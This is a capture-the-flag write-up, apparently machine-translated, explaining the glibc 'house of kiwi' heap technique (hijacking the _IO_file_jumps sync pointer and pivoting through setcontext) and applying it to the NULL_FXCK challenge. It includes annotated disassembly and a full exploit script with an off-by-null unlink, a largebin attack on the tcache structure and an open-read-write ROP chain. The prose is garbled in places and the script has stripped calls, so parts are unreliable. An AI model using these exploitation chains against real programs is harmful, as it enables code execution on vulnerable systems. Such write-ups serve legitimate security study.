house of kiwi
preamble: house_of_kiwi Generally by triggering __malloc_assert to refresh the IO stream, and finally can hijack the program stream or by playing with setcontext to do stack migration to get the flag.
Let's look at the source code of the trigger
#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)
extern const char *__progname;
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
#endif
#endif
Visible__malloc_assert calls the__fxprintf
respond in singingfflush
and this function call will be followed by a call to the_IO_file_jumps
hit the nail on the headsync
Pointer.
This pointer in the_IO_file_jumps
offset to 0x60, then this pointer will be hijacked to achieve the purpose we want, if the topic is disabled execve, you can consider the stack migration through the setcontext
Let's look at this this function
text:0000000000053030 ; __unwind {
.text:0000000000053030 endbr64
.text:0000000000053034 push rdi
.text:0000000000053035 lea rsi, [rdi+128h] ; nset
.text:000000000005303C xor edx, edx ; oset
.text:000000000005303E mov edi, 2 ; how
.text:0000000000053043 mov r10d, 8 ; sigsetsize
.text:0000000000053049 mov eax, 0Eh
.text:000000000005304E syscall ; LINUX - sys_rt_sigprocmask
.text:0000000000053050 pop rdx
.text:0000000000053051 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053057 jnb loc_5317F
.text:000000000005305D mov rcx, [rdx+0E0h]
.text:0000000000053064 fldenv byte ptr [rcx]
.text:0000000000053066 ldmxcsr dword ptr [rdx+1C0h]
.text:000000000005306D mov rsp, [rdx+0A0h] //Here willrdx+0xa0The value of thersp,That is, we controlrdxI'm in control.rsp
.text:0000000000053074 mov rbx, [rdx+80h]
.text:000000000005307B mov rbp, [rdx+78h]
.text:000000000005307F mov r12, [rdx+48h]
.text:0000000000053083 mov r13, [rdx+50h]
.text:0000000000053087 mov r14, [rdx+58h]
.text:000000000005308B mov r15, [rdx+60h]
.text:000000000005308F test dword ptr fs:48h, 2
.text:000000000005309B jz loc_53156
.text:00000000000530A1 mov rsi, [rdx+3A8h]
.text:00000000000530A8 mov rdi, rsi
.text:00000000000530AB mov rcx, [rdx+3B0h]
.text:00000000000530B2 cmp rcx, fs:78h
.text:00000000000530BB jz short loc_530F5
.text:00000000000530BD
.text:00000000000530BD loc_530BD: ; CODE XREF: setcontext+9E↓j
.text:00000000000530BD mov rax, [rsi-8]
.text:00000000000530C1 and rax, 0FFFFFFFFFFFFFFF8h
.text:00000000000530C5 cmp rax, rsi
.text:00000000000530C8 jz short loc_530D0
.text:00000000000530CA sub rsi, 8
.text:00000000000530CE jmp short loc_530BD
.text:00000000000530D0 ; ---------------------------------------------------------------------------
.text:00000000000530D0
.text:00000000000530D0 loc_530D0: ; CODE XREF: setcontext+98↑j
.text:00000000000530D0 mov rax, 1
.text:00000000000530D7 incsspq rax
.text:00000000000530DC rstorssp qword ptr [rsi-8]
.text:00000000000530E1 saveprevssp
.text:00000000000530E5 mov rax, [rdx+3B0h]
.text:00000000000530EC mov fs:78h, rax
.text:00000000000530F5
.text:00000000000530F5 loc_530F5: ; CODE XREF: setcontext+8B↑j
.text:00000000000530F5 rdsspq rcx
.text:00000000000530FA sub rcx, rdi
.text:00000000000530FD jz short loc_5311C
.text:00000000000530FF neg rcx
.text:0000000000053102 shr rcx, 3
.text:0000000000053106 mov esi, 0FFh
.text:000000000005310B
.text:000000000005310B loc_5310B: ; CODE XREF: setcontext+EA↓j
.text:000000000005310B cmp rcx, rsi
.text:000000000005310E cmovb rsi, rcx
.text:0000000000053112 incsspq rsi
.text:0000000000053117 sub rcx, rsi
.text:000000000005311A ja short loc_5310B
.text:000000000005311C
.text:000000000005311C loc_5311C: ; CODE XREF: setcontext+CD↑j
.text:000000000005311C mov rsi, [rdx+70h]
.text:0000000000053120 mov rdi, [rdx+68h]
.text:0000000000053124 mov rcx, [rdx+98h]
.text:000000000005312B mov r8, [rdx+28h]
.text:000000000005312F mov r9, [rdx+30h]
.text:0000000000053133 mov r10, [rdx+0A8h]
.text:000000000005313A mov rdx, [rdx+88h]
.text:0000000000053141 rdsspq rax
.text:0000000000053146 cmp r10, [rax]
.text:0000000000053149 mov eax, 0
.text:000000000005314E jnz short loc_53153
.text:0000000000053150 push r10
.text:0000000000053152 retn
.text:0000000000053153 ; ---------------------------------------------------------------------------
.text:0000000000053153
.text:0000000000053153 loc_53153: ; CODE XREF: setcontext+11E↑j
.text:0000000000053153 jmp r10
.text:0000000000053156 ; ---------------------------------------------------------------------------
.text:0000000000053156
.text:0000000000053156 loc_53156: ; CODE XREF: setcontext+6B↑j
.text:0000000000053156 mov rcx, [rdx+0A8h] //It can also be controlled torcx
.text:000000000005315D push rcx //control sth.rip
.text:000000000005315E mov rsi, [rdx+70h]
.text:0000000000053162 mov rdi, [rdx+68h]
.text:0000000000053166 mov rcx, [rdx+98h]
.text:000000000005316D mov r8, [rdx+28h]
.text:0000000000053171 mov r9, [rdx+30h]
.text:0000000000053175 mov rdx, [rdx+88h]
.text:0000000000053175 ; } // starts at 53030
.text:000000000005317C ; __unwind {
.text:000000000005317C xor eax, eax
.text:000000000005317E retn
That is to say, control to rdx + 0xa0 and rdx + 0xa8 position can realize the stack migration, then we need to figure out, call this pointer, rdx is what, then you need to debug it!
Called fflush
Here the sync pointer has been changed by me to the address of setcontext+61
And the rdx at this point is the address of IO_helper_jumps
Then hijack to IO_helper_jumps + 0xa0 to hijack the program flow
Summary:To reach house_of_kiwi requires at least two arbitrary address changes, modifying the sync pointer, and theIO_helper_jumps +0xa0 and 0xa8 location, then you can hijack to the program flow, for more than 2.27 heap topics can be hijacked by hijacking the tcache bin structure to achieve the arbitrary address allocation, and thus achieve the purpose.
Compared to the other house_of series kiwi requires a more demanding condition as well, but it is not difficult to utilize the technique, and in the event that this condition can be met, this technique is still very good.
Example: nepctf-2021 NULL_FXCK
Title Link:theme
Extract code: k5h6
ida reverse analysis
add function specifies the application chunk has a size limit, the minimum 0x100, the maximum 0x2000
The edit function has an off_by_null vulnerability, but it can only be used once.
The show function is truncated.
The free function has no UAF vulnerability
Analysis:There is only one off_by_null vulnerability, which can only be used once, then you can achieve heap block overlap through unlink to achieve the purpose of leaking the address, but the libc of this question is the libc of 2.32, there still exists the _malloc_hook these hooks, but these are banned, and open the sandbox to protect it, we can only orw to read the flags, then Then we can start with house_of_kiwi above. The first thing we need to do is to unlink, but then we need to fake the fd and bk pointers. In the past, we usually bypassed the unlink check by pointing the fd and bk pointers to ourselves, but now we can't leak the address, which means we need to complete the unlink without being able to leak the address.
Then we can apply for 6 heap blocks, free 0, 3, 5 heap blocks, then heap block 3 fd and bk has been determined, at this time, want to achieve heap overlap, you can change the size of the chunk3 to a larger (change to top_chunk so that the next time in the top_chunk to apply for the heap block, free when, will be merged upwards), how to do it, free off chunk2, then chunk2 and chunk3 will be merged, and then apply for a heap block to modify the size of chunk3, then at this point, the chain table will be destroyed!
free 0,3,5
Merging of chunk2 and chunk3
The chunk3size is modified while its fd and bk pointers are already set
At this point, the two remaining chunks are added to the largebin, which we request, but how do we modify their fd and bk pointers?
Note that just after the merger of chunk3 and chunk2 the remaining chunk (called left_chunk), its address is only the lowest bit and chunk3 is not the same, and chunk3's address is 0 at the end of the address, this is the beginning of the layout of the layout of this way, because add has truncation, we can free this left_chunk and chunk0 before and chunk5 to form a chain, and finally through the add truncation to modify the fd or bk pointer
Here's chunk0 as an example, note that his fd is at chunk3+0x20, so if you truncate it it's chunk3
Similarly chunk5 is the same, then complete this and then fake a little prev_size can be completed unlink, you can apply for heap blocks to reach the overlap of heap blocks, leaking address, but the existence of 00 truncation, but also need to be added to the largebin to leak the address of the libc as well as heap address
So now the problem of leaking address is solved, but also need to realize the arbitrary address write, then here involves a knowledge, we know that the management of tcachebin chain table is a structure at the beginning of the heap
Actually this has a pointer to it inside tls just mapped to this address, we can look for it
Then through the largebin hijack this address can be hijacked to the tcachebin chain table to achieve any address to write, the next is house_of_kiwi, the realization of stack migration, in advance of the orw chain to write to the chunk inside the
EXP:
from gt import *
con("amd64")
libc = ELF("./libc-2.")
io = process("./NULL_FXCK")
def add(size,msg='\x00'):
(">> ",'1')
("(: Size: ",str(size))
("(: Content: ",msg)
def edit(index,msg):
(">> ",'2')
("Index: ",str(index))
("Content: ",msg)
def free(index):
(">> ",'3')
("Index: ",str(index))
def show(index):
(">> ",'4')
("Index: ",str(index))
add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6
free(0)
free(3)
free(5)
(io)
free(2) #chunk3 chunk2 he bing
payload = b'a'*0x428 + p64(0xc91)
add(0x440,payload) #0
#(io)
add(0x418) #2 chunk3 chunk2 leave part
add(0x418) #3 yuanxian chunk0
add(0x428) #5 yuanxian chunk5
free(3)
free(2)
#(io)
add(0x418,'a'*9) #2
add(0x418) #3
free(3)
free(5)
add(0x9f8) #3
add(0x428,'a') #5
payload = b'a'*0x200 + p64(0xc90) + b'\x00'
edit(6,payload)
#(io)
add(0x418)
add(0x208) # fangzhi top_chunk
free(3)
payload = p64(0) *3 + p64(0x421)
add(0x430,payload)
add(0x1600)
show(4)
libc_base = u64((6).ljust(8,b'\x00')) -0x6a0 -["__malloc_hook"]
suc("libc_base",libc_base)
show(5)
heap_base = u64((6).ljust(8,b'\x00')) - 0x2b0
suc("heap_base",heap_base)
#(io)
tls_truct = libc_base + 0x1eb578
suc("tls_truct",tls_truct)
open = libc_base + ["open"]
read = libc_base + ["read"]
write = libc_base + ["write"]
setcontext = libc_base + ["setcontext"]
pop_rdi = libc_base + 0x000000000002858f#: pop rdi; ret;
pop_rsi = libc_base + 0x000000000002ac3f#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x0000000000114161#: pop rdx; pop r12; ret;
IO_file_jumps = libc_base + 0x1e54c0
IO_hleper_jumps = libc_base + 0x1e48c0
suc("IO_hleper_jumps",IO_hleper_jumps)
ret = libc_base + 0x0000000000026699 #: ret;
payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01)
add(0x1240,payload)
free(0) # orw_addr
flag_addr = heap_base + 0x8e0 + 0x100
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write)
orw = (0x100,b'a')
orw += b'flag\x00\x00\x00\x00'
add(0x440,orw) #0
add(0x418) #11
add(0x208) #12
free(5) #unlink big chunk
free(4) # large_bin attack chunk
# chunk5 ----> largebin
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)
payload += p64(tls_truct - 0x20)
add(0x1240,payload)
free(11)
add(0x500) # wancheng large_bin attack
add(0x410) #11
free(4)
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2
add(0x1240,payload)
fake_tcache = b'\x07\x00' * 0x35
fake_tcache = fake_tcache.ljust(0xe8,b'\x00') + p64(IO_file_jumps + 0x60)
fake_tcache = fake_tcache.ljust(0x168,b'\x00') + p64(IO_hleper_jumps + 0xa0)
fake_tcache += p64(heap_base + 0x46f0) #top_chunk
add(0x420,fake_tcache)
add(0x100,p64(setcontext+61))
add(0x200,p64(heap_base + 0x8e0)+p64(ret))
add(0x210,p64(0x999))
(io)
add(0x1000)
#(io)
()
final result